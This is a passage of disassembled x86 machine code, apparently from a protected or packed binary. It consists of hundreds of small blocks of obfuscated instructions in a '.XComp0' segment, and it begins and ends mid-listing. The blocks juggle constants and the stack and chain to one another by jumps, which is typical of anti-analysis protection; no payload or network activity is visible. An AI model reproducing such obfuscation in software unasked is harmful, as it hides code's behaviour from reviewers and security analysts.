XREF: .XComp0:00574559j add esp, 4 jmp loc_580C4C ; --------------------------------------------------------------------------- loc_574B92: ; CODE XREF: .XComp0:005802FEj sub ebp, 7F9A33F0h mov edi, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push 69C9h mov [esp], edi mov edi, 71CA02B0h sub eax, edi pop edi add eax, ebp add eax, 71CA02B0h pop ebp jmp loc_575E21 ; --------------------------------------------------------------------------- loc_574BCB: ; CODE XREF: .XComp0:0057D766j mov ebx, 5A4374C9h sub ebx, 79404D79h add ebx, 84A0E6B4h sub esi, ebx pop ebx jmp loc_575FDB ; --------------------------------------------------------------------------- loc_574BE4: ; CODE XREF: .XComp0:00581046j and eax, 11852586h sub eax, 1687615Bh push edi mov edi, 6FD127E1h jmp loc_577CFF ; --------------------------------------------------------------------------- loc_574BF9: ; CODE XREF: .XComp0:00579D6Dj mov ebx, 215072CDh or ebx, 4F4E5915h xor ebx, 27E36614h inc ebx xor ebx, 70692552h sub ecx, ebx pop ebx add ecx, esi add ecx, 38D43898h jmp loc_57EC49 ; --------------------------------------------------------------------------- loc_574C21: ; CODE XREF: .XComp0:005764D8j mov [esp], ecx push eax mov ah, dl push edx jmp loc_57BF60 ; --------------------------------------------------------------------------- loc_574C2D: ; CODE XREF: .XComp0:0057522Aj push ebx jmp loc_577688 ; --------------------------------------------------------------------------- loc_574C33: ; CODE XREF: .XComp0:005739FCj push ebp mov ebp, 5CBD4B5Eh jmp loc_582B97 ; --------------------------------------------------------------------------- loc_574C3E: ; CODE XREF: .XComp0:0057E31Aj mov [esp], esi mov esi, esp push ebp jmp loc_57D517 ; --------------------------------------------------------------------------- loc_574C49: ; CODE XREF: .XComp0:0057781Ej pop ebp add ecx, 64437C2h shl ecx, 6 push 1F24h mov [esp], eax push 546C6E4Bh pop eax jmp loc_5775A0 ; --------------------------------------------------------------------------- loc_574C66: ; CODE XREF: .XComp0:0057EA8Fj add edi, 4 xchg edi, [esp] pop esp push 26E4h mov [esp], edi push esi jmp loc_57E141 ; --------------------------------------------------------------------------- loc_574C7B: ; CODE XREF: .XComp0:00580655j add cl, al pop eax sub cl, 0BDh and ah, cl jmp loc_574210 ; --------------------------------------------------------------------------- loc_574C88: ; CODE XREF: .XComp0:0057B9DEj pop esi not eax sub eax, 85143B6Eh xor ebx, eax mov eax, [esp] add esp, 4 add ebp, ebx pop ebx push ebx push ebp push 6A5507E8h pop ebp add ebp, 760A7ED9h sub ebp, 30946ABEh push edx mov edx, 0F8330E5h or edx, 7A314F04h shr edx, 8 xor edx, 504B5080h add ebp, edx pop edx push ebp xor dword ptr [esp], 79862211h pop ebx jmp loc_575CDD ; --------------------------------------------------------------------------- loc_574CD5: ; CODE XREF: .XComp0:00580580j sub ecx, 0C2ECFA35h mov edx, ecx pop ecx push edx mov edx, 4FDC42FEh shl edx, 8 sub edx, 8094CA88h add ecx, edx pop edx jmp loc_582382 ; --------------------------------------------------------------------------- loc_574CF5: ; CODE XREF: .XComp0:005780FCj push edx jmp loc_580D0D ; --------------------------------------------------------------------------- loc_574CFB: ; CODE XREF: .XComp0:0057D1E4j xor edi, edx mov edx, [esp] push ebx jmp loc_582DDA ; --------------------------------------------------------------------------- loc_574D06: ; CODE XREF: .XComp0:0057BB54j pop ebx add eax, 31F83964h jmp loc_57D0E0 ; --------------------------------------------------------------------------- loc_574D11: ; CODE XREF: .XComp0:00583113j add edx, ecx pop ecx add edx, ebx push eax mov eax, 75092CB8h push edi mov edi, 4A212D3Bh or eax, edi jmp loc_57B1D1 ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] pop eax add esp, 4 push eax push esp jmp loc_573D04 ; --------------------------------------------------------------------------- loc_574D3D: ; CODE XREF: .XComp0:005835E5j xchg ebp, esi not esi and esi, 79B05850h push edx mov edx, 2B0F50CFh and edx, 3C0C3687h shl edx, 8 dec edx xor edx, 0E7EC8E2Ch add esi, edx pop edx add ebx, esi pop esi add ebx, eax sub ebx, 4D0C4913h push ecx mov ecx, 36066F9Dh xor ecx, 7A3E38FAh dec ecx jmp loc_575F9F ; --------------------------------------------------------------------------- loc_574D7D: ; CODE XREF: .XComp0:00575AD7j add eax, 4 jmp loc_5812B8 ; --------------------------------------------------------------------------- loc_574D87: ; CODE XREF: .XComp0:0057BB79j dec eax jmp loc_575D6E ; --------------------------------------------------------------------------- loc_574D8D: ; CODE XREF: .XComp0:00578A56j push 33EB4DB8h pop ecx inc ecx jmp loc_57CA71 ; --------------------------------------------------------------------------- loc_574D99: ; CODE XREF: .XComp0:0057F6C3j add bl, 65h jmp loc_57860B ; --------------------------------------------------------------------------- loc_574DA1: ; CODE XREF: .XComp0:005809A6j or edx, 5CC243DBh or edx, 0FD03E13h add edx, 3DE11900h xor edx, 40464BC4h and edx, 62137880h push eax jmp loc_57A8C7 ; --------------------------------------------------------------------------- loc_574DC5: ; CODE XREF: .XComp0:0057ED88j push dword ptr [esp+4] pop ecx pop dword ptr [esp] pop esp pop esi xchg ecx, esi xchg eax, ecx not eax xchg eax, ecx xchg ecx, esi xor eax, esi xor esi, eax xor eax, esi sub esp, 4 mov [esp], edx sub esp, 4 mov [esp], ebp jmp loc_580AFA ; --------------------------------------------------------------------------- lodsb push edx jmp loc_574E51 ; --------------------------------------------------------------------------- loc_574DFB: ; CODE XREF: .XComp0:00577A0Dj dec eax not eax not eax add eax, 61B57357h jmp loc_57B26D ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_5811DB ; --------------------------------------------------------------------------- loc_574E13: ; CODE XREF: .XComp0:0057D917j not ebx push ebx inc dword ptr [esp] jmp loc_57618C ; --------------------------------------------------------------------------- loc_574E1E: ; CODE XREF: .XComp0:0057F8F4j add dword ptr [esp], 4 pop ebx add ebx, 4 add ebx, 4 jmp loc_58086A ; --------------------------------------------------------------------------- lodsd push 1AC3h mov [esp], esi push edi mov edi, 2A193659h push eax mov eax, edi mov esi, eax pop eax jmp loc_57D999 ; --------------------------------------------------------------------------- loc_574E51: ; CODE XREF: .XComp0:00574DF6j mov dl, 0F8h add al, dl mov edx, [esp] push ebp push esp pop ebp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp add al, bl push 4AAFh mov [esp], ecx push eax push ebx mov bh, 5Ah mov al, bh pop ebx push eax mov ah, 0CEh jmp loc_581638 ; --------------------------------------------------------------------------- loc_574E84: ; CODE XREF: .XComp0:0057E25Dj xchg ecx, [esp] pop esp mov [esp], esi push esp mov esi, [esp] push eax mov eax, esp add eax, 4 add eax, 4 jmp loc_581E48 ; --------------------------------------------------------------------------- loc_574E9F: ; CODE XREF: .XComp0:00579F6Cj push 480Bh mov [esp], eax mov eax, 0A517BA0h jmp loc_5761C8 ; --------------------------------------------------------------------------- loc_574EB1: ; CODE XREF: .XComp0:00573FD9j shr edi, 3 jmp loc_5830E4 ; --------------------------------------------------------------------------- loc_574EB9: ; CODE XREF: .XComp0:00579F75j push 107Bh mov [esp], esi push esp jmp loc_5825A1 ; --------------------------------------------------------------------------- loc_574EC7: ; CODE XREF: .XComp0:00575B1Fj push edi jmp loc_57AB29 ; --------------------------------------------------------------------------- loc_574ECD: ; CODE XREF: .XComp0:00581473j mov ebx, 1A58098Ch add eax, ebx push dword ptr [esp] pop ebx jmp loc_577994 ; --------------------------------------------------------------------------- loc_574EDD: ; CODE XREF: .XComp0:0057A229j or eax, 4AFF272Ah sub eax, 26D0274Ch add eax, 1F6A3D2Dh not eax dec eax jmp loc_5745C9 ; --------------------------------------------------------------------------- loc_574EF4: ; CODE XREF: .XComp0:00575BE5j sub edi, 6A371273h add edi, eax jmp loc_574237 ; --------------------------------------------------------------------------- loc_574F01: ; CODE XREF: .XComp0:005819BDj push edx push esp pop edx add edx, 4 add edx, 4 xchg edx, [esp] pop esp jmp loc_58229A ; --------------------------------------------------------------------------- loc_574F16: ; CODE XREF: .XComp0:00581A55j mov ah, ch push edx mov dh, ah mov bh, dh pop edx jmp loc_57BE9F ; --------------------------------------------------------------------------- loc_574F23: ; CODE XREF: .XComp0:00576DD5j xor [esp], ebp xor ebp, [esp] pop esp jmp loc_57A108 ; --------------------------------------------------------------------------- loc_574F2F: ; CODE XREF: .XComp0:00578883j or cl, 9Dh not cl push edx mov dh, 4 sub dh, 2 or dh, 30h shr dh, 7 push ebx mov bl, 53h inc bl sub bl, 92h jmp loc_580C44 ; --------------------------------------------------------------------------- loc_574F4D: ; CODE XREF: .XComp0:0057BAF0j xchg ebx, [esp] mov esp, [esp] mov [esp], dx push ax pushf jmp loc_577B18 ; --------------------------------------------------------------------------- loc_574F5F: ; CODE XREF: .XComp0:0057FA2Fj push 66B9h mov [esp], ebp mov ebp, 4 add ecx, ebp mov ebp, [esp] add esp, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] jmp loc_57D14A ; --------------------------------------------------------------------------- loc_574F85: ; CODE XREF: .XComp0:00576E37j mov ebp, esp push 14A4h mov [esp], edx mov edx, 58465292h inc edx shr edx, 3 add edx, 59DF0750h and edx, 238418D3h sub edx, 2084107Eh add ebp, edx pop edx add ebp, 4 jmp loc_573749 ; --------------------------------------------------------------------------- mov ecx, [esp] push eax mov eax, esp push ebx mov ebx, 4 add eax, ebx pop ebx sub eax, 4 jmp loc_57D3BA ; --------------------------------------------------------------------------- loc_574FD1: ; CODE XREF: .XComp0:00573D68j or ebx, esi pop esi push ecx mov ecx, 1BEF05C1h dec ecx xor ecx, 2C9F69FDh or ebx, ecx mov ecx, [esp] add esp, 4 and ebx, 467B2BF1h add ebx, 4FDC47E2h jmp loc_5789C4 ; --------------------------------------------------------------------------- loc_574FFD: ; CODE XREF: .XComp0:00573F7Cj add edi, 4 push eax mov eax, 4 jmp loc_57D8FA ; --------------------------------------------------------------------------- loc_57500E: ; CODE XREF: .XComp0:00578017j sub edi, 4CD6569Dh pop edx xchg edi, [esp] jmp loc_573E63 ; --------------------------------------------------------------------------- loc_57501D: ; CODE XREF: .XComp0:0058240Dj mov edx, 22367D8h or edi, edx pop edx and edi, 47095DD4h neg edi jmp loc_57B1D9 ; --------------------------------------------------------------------------- loc_575032: ; CODE XREF: .XComp0:005739C2j mov ebx, 6BC7789h shr ebx, 1 push ecx jmp loc_5742B6 ; --------------------------------------------------------------------------- loc_57503F: ; CODE XREF: .XComp0:0057CCF4j push dword ptr [esp] pop eax jmp loc_57BD41 ; --------------------------------------------------------------------------- mov cx, [esp] sub esp, 4 jmp loc_5767E2 ; --------------------------------------------------------------------------- loc_575054: ; CODE XREF: .XComp0:0057F67Bj pop esp shl word ptr [esp], cl pushf jmp loc_573541 ; --------------------------------------------------------------------------- loc_57505F: ; CODE XREF: .XComp0:0057F897j pop ebp add esp, 4 push eax sub esp, 4 mov [esp], ebp mov eax, [esp] jmp loc_57EE3F ; --------------------------------------------------------------------------- loc_575075: ; CODE XREF: .XComp0:0057516Aj mov edi, 6B8E48D0h or ebp, edi pop edi sub ebp, 6B8E5CCCh sub eax, ebp pop ebp sub esp, 4 mov [esp], eax push dword ptr [esp+4] pop eax pop dword ptr [esp] mov esp, [esp] mov [esp], ecx mov ecx, 400h and eax, ecx mov ecx, [esp] sub esp, 4 mov [esp], ebx mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_575D5D ; --------------------------------------------------------------------------- loc_5750C0: ; CODE XREF: .XComp0:00576812j mov ecx, [esp] sub esp, 4 jmp loc_57D277 ; --------------------------------------------------------------------------- loc_5750CB: ; CODE XREF: .XComp0:00574944j mov [esp], edi mov edi, 47FE54E2h jmp loc_57D67E ; --------------------------------------------------------------------------- loc_5750D8: ; CODE XREF: .XComp0:0057D8ACj mov [esp], eax mov eax, 4 add ebp, eax mov eax, [esp] add esp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] jmp loc_573541 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcr byte ptr [esp], cl pushf jmp loc_573541 ; --------------------------------------------------------------------------- loc_57510B: ; CODE XREF: .XComp0:005808F7j pop ebx xchg ebp, [esp] pop esp jmp loc_5767FE ; --------------------------------------------------------------------------- loc_575115: ; CODE XREF: .XComp0:0057F068j mov [esp], ax push edx mov dl, 63h or dl, 11h sub dl, 39h inc dl neg dl xor dl, 0B1h jmp loc_577D12 ; --------------------------------------------------------------------------- loc_57512E: ; CODE XREF: .XComp0:0057A951j push esi mov esi, 37266A24h add [esp+4], esi pop esi mov ebp, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_582235 ; --------------------------------------------------------------------------- loc_575154: ; CODE XREF: .XComp0:00580BC9j add ebx, 3D8F22EDh and ebx, 501D6B02h xor ebx, 699E1D17h and ebp, ebx pop ebx push edi jmp loc_575075 ; --------------------------------------------------------------------------- loc_57516F: ; CODE XREF: .XComp0:00575688j and ebp, 75D47E2Dh shr ebp, 6 jmp loc_5830A5 ; --------------------------------------------------------------------------- loc_57517D: ; CODE XREF: .XComp0:00576022j push eax jmp loc_581CEE ; --------------------------------------------------------------------------- loc_575183: ; CODE XREF: .XComp0:00573DB7j pop esp push 1646h mov [esp], edi mov edi, 213FDEBAh xor eax, edi push dword ptr [esp] jmp loc_57C8D8 ; --------------------------------------------------------------------------- mov ax, [esp] push 2DF5h mov [esp], ebp push esp pop ebp sub esp, 4 mov [esp], ebx push edi mov edi, 193C503Bh mov ebx, 193C503Fh sub ebx, edi pop edi push edi mov edi, 35C75301h add ebp, edi pop edi jmp loc_575CBC ; --------------------------------------------------------------------------- loc_5751CB: ; CODE XREF: .XComp0:00575981j add edi, 4 jmp loc_573715 ; --------------------------------------------------------------------------- loc_5751D6: ; CODE XREF: .XComp0:00581408j pop eax mov al, 9Ah sub al, bh jmp loc_5766C8 ; --------------------------------------------------------------------------- loc_5751E0: ; CODE XREF: .XComp0:0057B3E1j sub [edi+24h], ebx pop ebx loc_5751E4: ; CODE XREF: .XComp0:0057ACE2j push 176Eh mov [esp], ecx push edi push ebx xor dword ptr [esp], 5AB70C91h pop edi xor edi, 5AB70C91h push 5B24h mov [esp], esi jmp loc_583371 ; --------------------------------------------------------------------------- loc_575209: ; CODE XREF: .XComp0:0057BD37j sub ebp, ecx jmp loc_57B833 ; --------------------------------------------------------------------------- loc_575210: ; CODE XREF: .XComp0:00582E0Ej pop dword ptr [esp] jmp loc_5824C2 ; --------------------------------------------------------------------------- loc_575218: ; CODE XREF: .XComp0:005835B7j mov ebp, 57D029ECh jmp loc_576EFC ; --------------------------------------------------------------------------- loc_575222: ; CODE XREF: .XComp0:00582F44j not ebx jmp loc_57F5AF ; --------------------------------------------------------------------------- push esi jmp loc_574C2D ; --------------------------------------------------------------------------- loc_57522F: ; CODE XREF: .XComp0:00583124j mov ebx, esp add ebx, 4 push ecx mov ecx, esp jmp loc_5815F3 ; --------------------------------------------------------------------------- loc_57523F: ; CODE XREF: .XComp0:0058301Ej xor ecx, 79A46E76h and ecx, 98F03E6h add ecx, 5D32936h jmp loc_57F1C5 ; --------------------------------------------------------------------------- loc_575256: ; CODE XREF: .XComp0:0057E1A6j shl edi, 5 dec edi xor edi, 315F8AE7h jmp loc_57CAAF ; --------------------------------------------------------------------------- loc_575265: ; CODE XREF: .XComp0:00578BD8j mov edi, esp add edi, 4 add edi, 4 jmp loc_57360B ; --------------------------------------------------------------------------- loc_575275: ; CODE XREF: .XComp0:005770E1j add esi, 481A3F75h push eax push ecx sub esp, 4 mov [esp], eax push ebp jmp loc_576C39 ; --------------------------------------------------------------------------- loc_57528C: ; CODE XREF: .XComp0:0057AB88j pop ecx push eax mov eax, 4 add ecx, eax jmp loc_574075 ; --------------------------------------------------------------------------- loc_57529A: ; CODE XREF: .XComp0:0057E532j push edx push ecx push 12702448h mov ecx, [esp] add esp, 4 shr ecx, 2 jmp loc_57B238 ; --------------------------------------------------------------------------- loc_5752B2: ; CODE XREF: .XComp0:0057F9F7j push esi mov esi, 99ABAC8h jmp loc_579574 ; --------------------------------------------------------------------------- loc_5752BD: ; CODE XREF: .XComp0:005793E0j pop dword ptr [esp] mov esp, [esp] push eax mov eax, 2 add esi, eax pop eax push 1BB7h mov [esp], esi push dword ptr [esp+4] jmp loc_57B1AB ; --------------------------------------------------------------------------- loc_5752DD: ; CODE XREF: .XComp0:0057E4CDj push eax mov eax, 3A9C77B1h sub esi, eax pop eax neg esi add esi, 0D58788D5h add edx, esi push dword ptr [esp] pop esi add esp, 4 sub edx, 2 push edx push dword ptr [esp+4] mov edx, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] mov [esp], dx push ax pushf jmp loc_573541 ; --------------------------------------------------------------------------- loc_575320: ; CODE XREF: .XComp0:00576FD1j push esp pop dword ptr [esp] add dword ptr [esp], 4 pop dword ptr [esp] add dword ptr [esp], 4 pop dword ptr [esp] push 25DFh mov [esp], edx jmp loc_573F48 ; --------------------------------------------------------------------------- loc_57533F: ; CODE XREF: .XComp0:0057987Aj mov esi, [esp] add esp, 4 add esi, 4 add esi, 4 jmp loc_576A4E ; --------------------------------------------------------------------------- loc_575353: ; CODE XREF: .XComp0:005826B8j shr ebp, 7 sub ebp, 38474ED7h push 481h mov [esp], edi mov edi, 0C97C5F71h sub ebp, edi pop edi jmp loc_57AB42 ; --------------------------------------------------------------------------- loc_575371: ; CODE XREF: .XComp0:005799CDj push edi push esi push ebx mov ebx, 3C170FEAh mov esi, 24A30F4Fh jmp loc_579CF2 ; --------------------------------------------------------------------------- loc_575383: ; CODE XREF: .XComp0:00581456j push esi push dword ptr [esp+4] pop esi jmp loc_576EED ; --------------------------------------------------------------------------- loc_57538E: ; CODE XREF: .XComp0:0057D7F1j add ecx, edi mov edi, [esp] add esp, 4 push edi sub esp, 4 mov [esp], eax jmp loc_575436 ; --------------------------------------------------------------------------- loc_5753A5: ; CODE XREF: .XComp0:005783D5j push edi push ecx mov ecx, 3A95131Dh mov edi, 3A951319h jmp loc_57958A ; --------------------------------------------------------------------------- loc_5753B6: ; CODE XREF: .XComp0:0057FA27j mov [esp], edx mov edx, 59C92C5Eh not edx inc edx and edx, 7D1B3A34h dec edx xor edx, 71C025E6h or eax, edx pop edx add eax, 1 xor eax, 984CAA13h jmp loc_579D21 ; --------------------------------------------------------------------------- loc_5753E0: ; CODE XREF: .XComp0:0057ADC5j pop eax push edx jmp loc_57A60D ; --------------------------------------------------------------------------- loc_5753E7: ; CODE XREF: .XComp0:0058259Cj dec eax jmp loc_57E9E9 ; --------------------------------------------------------------------------- loc_5753ED: ; CODE XREF: .XComp0:005805E6j neg byte ptr [esp+1] jmp loc_579656 ; --------------------------------------------------------------------------- loc_5753F6: ; CODE XREF: .XComp0:005836E6j mov edx, esp add edx, 4 push edi mov edi, 4 add edx, edi pop edi xchg edx, [esp] mov esp, [esp] jmp loc_57D9EF ; --------------------------------------------------------------------------- loc_575412: ; CODE XREF: .XComp0:005756E3j mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp sub eax, 4F926C79h mov edi, [esp] push edx jmp loc_576DE7 ; --------------------------------------------------------------------------- loc_57542F: ; CODE XREF: .XComp0:005825BCj pop esp push ecx jmp loc_57B0B0 ; --------------------------------------------------------------------------- loc_575436: ; CODE XREF: .XComp0:005753A0j push 5636h mov [esp], ebx push eax mov eax, 11195024h mov ebx, eax pop eax mov eax, ebx pop ebx mov edi, 0F5B71A33h add edi, eax pop eax jmp loc_5820AB ; --------------------------------------------------------------------------- loc_575457: ; CODE XREF: .XComp0:005735ECj mov esi, 468703B9h sub esi, 6F16374h or esi, 41EC1478h sub esi, 5C1A77D9h add esi, 0DC1CC360h jmp loc_57CA7E ; --------------------------------------------------------------------------- loc_575479: ; CODE XREF: .XComp0:00575B2Cj pop ebp and edi, ebx jmp loc_579CE6 ; --------------------------------------------------------------------------- loc_575481: ; CODE XREF: .XComp0:0057FC08j add esi, 4E0566A2h or esi, 3AAA6921h add esi, 801173F7h jmp loc_57BCD7 ; --------------------------------------------------------------------------- loc_575498: ; CODE XREF: .XComp0:005745C4j pop ebx jmp loc_57694B ; --------------------------------------------------------------------------- loc_57549E: ; CODE XREF: .XComp0:0057B8A6j mov [esp], ecx not dword ptr [esp] push dword ptr [esp] push dword ptr [esp] pop ecx jmp loc_57BCEB ; --------------------------------------------------------------------------- loc_5754B0: ; CODE XREF: .XComp0:005803D8j xchg ebx, [esp] mov esp, [esp] or eax, eax jz loc_580B22 sub esp, 4 mov [esp], ebp push ebx push 401Dh mov [esp], esp add dword ptr [esp], 4 mov ebx, [esp] add esp, 4 jmp loc_578623 ; --------------------------------------------------------------------------- loc_5754DF: ; CODE XREF: .XComp0:00575503j or eax, eax jnz loc_57A605 push ebp push 77A77892h pop ebp jmp loc_582ADA ; --------------------------------------------------------------------------- loc_5754F3: ; CODE XREF: .XComp0:00575A6Aj mov bl, ch mov al, bl pop ebx jmp loc_580752 ; --------------------------------------------------------------------------- loc_5754FD: ; CODE XREF: .XComp0:0057D5BDj xchg ebp, [esp] mov esp, [esp] jmp loc_5754DF ; --------------------------------------------------------------------------- loc_575508: ; CODE XREF: .XComp0:0057C4D6j pop esp push edi push esp pop edi push esi mov esi, 4 add edi, esi pop esi push edx mov edx, 4 sub edi, 63F3706h add edi, edx add edi, 63F3706h pop edx xchg edi, [esp] mov esp, [esp] or edx, eax jmp loc_57E92E ; --------------------------------------------------------------------------- loc_575537: ; CODE XREF: .XComp0:005791B1j mov [esp], ebx push esp pop ebx push 6EE4h mov [esp], edi mov edi, 17A84CA0h jmp loc_581F7D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A47B5 loc_57554E: ; CODE XREF: sub_5A47B5-26BFAj pop ebx mov dx, word ptr [esp+26h+var_28+2] jmp loc_580585 ; END OF FUNCTION CHUNK FOR sub_5A47B5 ; --------------------------------------------------------------------------- loc_575558: ; CODE XREF: .XComp0:005787B7j xor bl, al movzx eax, al jmp loc_57F857 ; --------------------------------------------------------------------------- loc_575562: ; CODE XREF: .XComp0:00575DE7j push 157h mov [esp], ebx mov ebx, 4 sub edx, ebx pop ebx xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] mov [esp], ebx sub esp, 4 jmp loc_578176 ; --------------------------------------------------------------------------- loc_575589: ; CODE XREF: .XComp0:00573D7Ej mov edi, esp add edi, 4 push ebx mov ebx, 4 jmp loc_5772F9 ; --------------------------------------------------------------------------- loc_57559C: ; CODE XREF: .XComp0:00574095j mov ebp, [esp] push esi jmp loc_583164 ; --------------------------------------------------------------------------- loc_5755A5: ; CODE XREF: .XComp0:0057592Ej mov ebp, 0F805C4BBh xor esi, ebp mov ebp, [esp] add esp, 4 add edx, esi pop esi jmp loc_578586 ; --------------------------------------------------------------------------- loc_5755BD: ; CODE XREF: .XComp0:0057DCF2j add ebx, 6A541132h add edx, ebx pop ebx pop ebx push ebx mov ebx, 2 add edx, ebx pop ebx xor edx, [esp] xor [esp], edx jmp loc_582535 ; --------------------------------------------------------------------------- loc_5755DB: ; CODE XREF: .XComp0:0057F5B5j add edi, ebx pop ebx push esi mov esi, 4 add edi, esi jmp loc_57B714 ; --------------------------------------------------------------------------- loc_5755EB: ; CODE XREF: .XComp0:0058083Dj pop esp add [esp], al pushf jmp loc_573541 ; --------------------------------------------------------------------------- loc_5755F5: ; CODE XREF: .XComp0:00583719j mov ebp, 4 mov edi, ebp pop ebp push ebx mov ebx, 7BC32809h inc ebx jmp loc_574336 ; --------------------------------------------------------------------------- loc_575609: ; CODE XREF: .XComp0:00576844j push dword ptr [esp] pop ebp add esp, 4 push 6BB1h mov [esp], edx mov edx, 4 add edi, 1BC7A33h add edi, edx jmp loc_573D6D ; --------------------------------------------------------------------------- loc_57562D: ; CODE XREF: .XComp0:0057C75Fj mov edi, ebp pop ebp sub esp, 4 mov [esp], edi pop eax mov edi, [esp] add esp, 4 push dword ptr [esp] jmp loc_5828FB ; --------------------------------------------------------------------------- loc_575645: ; CODE XREF: .XComp0:005794A7j xor bh, cl xor cl, bh push bx mov bl, 0F3h xor cl, bl pop bx add al, cl mov ecx, [esp] jmp loc_582379 ; --------------------------------------------------------------------------- loc_57565B: ; CODE XREF: .XComp0:00580DDDj sub eax, 32657FDEh push 556Eh mov [esp], ecx jmp loc_5767A6 ; --------------------------------------------------------------------------- loc_57566D: ; CODE XREF: .XComp0:00574550j xor eax, edx xor edx, eax jmp loc_576232 ; --------------------------------------------------------------------------- loc_575676: ; CODE XREF: .XComp0:005777E9j add ecx, 87584051h add eax, ecx pop ecx add esi, eax jmp loc_582E1E ; --------------------------------------------------------------------------- loc_575686: ; CODE XREF: .XComp0:0057A450j not ebp jmp loc_57516F ; --------------------------------------------------------------------------- loc_57568D: ; CODE XREF: .XComp0:0057E6FEj pop esp sub al, ch sub al, 5Ah pop cx add al, dh add al, 75h mov edx, [esp] jmp loc_57D0B4 ; --------------------------------------------------------------------------- loc_5756A0: ; CODE XREF: .XComp0:0057B365j add esi, 16026A35h jmp loc_58153B ; --------------------------------------------------------------------------- loc_5756AB: ; CODE XREF: .XComp0:0057BF71j push 41C8h mov [esp], edx push ebx mov bl, ah mov dl, bl pop ebx jmp loc_57F83B ; --------------------------------------------------------------------------- loc_5756BE: ; CODE XREF: .XComp0:0057C867j shl edi, 8 xor edi, 52023679h sub esp, 4 mov [esp], edi mov ebp, [esp] add esp, 4 pop edi add [esp+4], ebp pop ebp mov eax, [esp] push esi jmp loc_575412 ; --------------------------------------------------------------------------- loc_5756E8: ; CODE XREF: .XComp0:005816F9j push ebp push small 48FDh pop bp sub esp, 4 jmp loc_58130B ; --------------------------------------------------------------------------- loc_5756F7: ; CODE XREF: .XComp0:0057937Cj mov [esp], esp add dword ptr [esp], 4 jmp loc_581E1C ; --------------------------------------------------------------------------- loc_575703: ; CODE XREF: .XComp0:005779E4j pop ebp push esi mov esi, esp add esi, 4 add esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp jmp loc_57A833 ; --------------------------------------------------------------------------- loc_575722: ; CODE XREF: .XComp0:00582F73j push dword ptr [esp] mov esi, [esp] add esp, 4 add esp, 4 shl ebx, 2 add ebx, 2CAB2ECAh dec ebx xor ebx, 0D990A504h push ecx push 351703D2h pop ecx sub eax, ecx pop ecx add eax, ebx push 37A8h mov [esp], ebx mov ebx, 351703D2h add eax, ebx pop ebx pop ebx push 54A7h mov [esp], edx push 112Ch mov [esp], edi jmp loc_580F88 ; --------------------------------------------------------------------------- loc_575773: ; CODE XREF: .XComp0:0057D987j push dword ptr [esp] jmp loc_57B2CA ; --------------------------------------------------------------------------- loc_57577B: ; CODE XREF: .XComp0:0057F07Ej mov bh, 6Fh add al, 15h add al, bh jmp loc_579DED ; --------------------------------------------------------------------------- loc_575786: ; CODE XREF: .XComp0:00579BD9j mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp push esi mov esi, 4E6F4850h and ebp, esi pop esi jmp loc_580389 ; --------------------------------------------------------------------------- loc_5757A3: ; CODE XREF: .XComp0:00582A21j xor ecx, 0BA97D515h sub ebx, ecx pop ecx jmp loc_580780 ; --------------------------------------------------------------------------- loc_5757B1: ; CODE XREF: .XComp0:00578581j shr esi, 4 jmp loc_5776E9 ; --------------------------------------------------------------------------- loc_5757B9: ; CODE XREF: .XComp0:00573EF6j xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp add al, bl jmp loc_57DDAF ; --------------------------------------------------------------------------- loc_5757CA: ; CODE XREF: .XComp0:00576C47j xor ebp, 1F9F107Ah add ebp, 592A575Fh jmp loc_58071A ; --------------------------------------------------------------------------- loc_5757DB: ; CODE XREF: .XComp0:00577E8Cj mov esi, 4 jmp loc_579D53 ; --------------------------------------------------------------------------- loc_5757E5: ; CODE XREF: .XComp0:00580D82j add ebx, 4 sub ebx, 2 xchg ebx, [esp] pop esp jmp loc_57F151 ; --------------------------------------------------------------------------- loc_5757FA: ; CODE XREF: .XComp0:0057E6DFj push esi mov esi, 17615326h add dword ptr [esp+8], 3F6F6554h jmp loc_57D9DE ; --------------------------------------------------------------------------- loc_57580D: ; CODE XREF: .XComp0:0057FFACj add edi, 14C05480h mov ebx, edi pop edi push ecx mov ecx, 47C54268h sub ebx, 7FE2F33h add ebx, 59E26069h sub ebx, ecx sub ebx, 59E26069h add ebx, 7FE2F33h pop ecx jmp loc_57D1E9 ; --------------------------------------------------------------------------- loc_57583C: ; CODE XREF: .XComp0:00576B6Ej add ebx, 2 push edi push 49A3h jmp loc_57967F ; --------------------------------------------------------------------------- loc_57584D: ; CODE XREF: .XComp0:0057DB19j inc ecx push ecx not dword ptr [esp] pop ecx add ecx, 0FFFFFFFFh sub ecx, 1 shr ecx, 6 xor ecx, 68AEB2F3h jmp loc_575FD0 ; --------------------------------------------------------------------------- mov ax, [esp] push edi push esp mov edi, [esp] add esp, 4 sub esp, 4 mov [esp], ebp push 1F2Eh mov [esp], ebx push 6A0C117Bh pop ebx push ecx mov ecx, 6A0C117Fh jmp loc_57AC79 ; --------------------------------------------------------------------------- loc_575898: ; CODE XREF: .XComp0:0057687Aj add ebp, eax pop eax xchg ebp, [esp] pop esp push ebx mov ebx, 4D482C61h push edx mov edx, 53674F1Ch or ebx, edx pop edx xchg ebp, ebx jmp loc_577AE6 ; --------------------------------------------------------------------------- loc_5758B5: ; CODE XREF: .XComp0:00581633j pop edx sub ebx, esi jmp loc_58354C ; --------------------------------------------------------------------------- loc_5758BD: ; CODE XREF: .XComp0:00583393j pop esp mov [esp], ebp push esp push dword ptr [esp] mov ebp, [esp] add esp, 4 jmp loc_5783DA ; --------------------------------------------------------------------------- loc_5758D3: ; CODE XREF: .XComp0:00576DE2j pop ebp sub ebx, 70AC2A77h add ebx, eax add ebx, 70AC2A77h pop 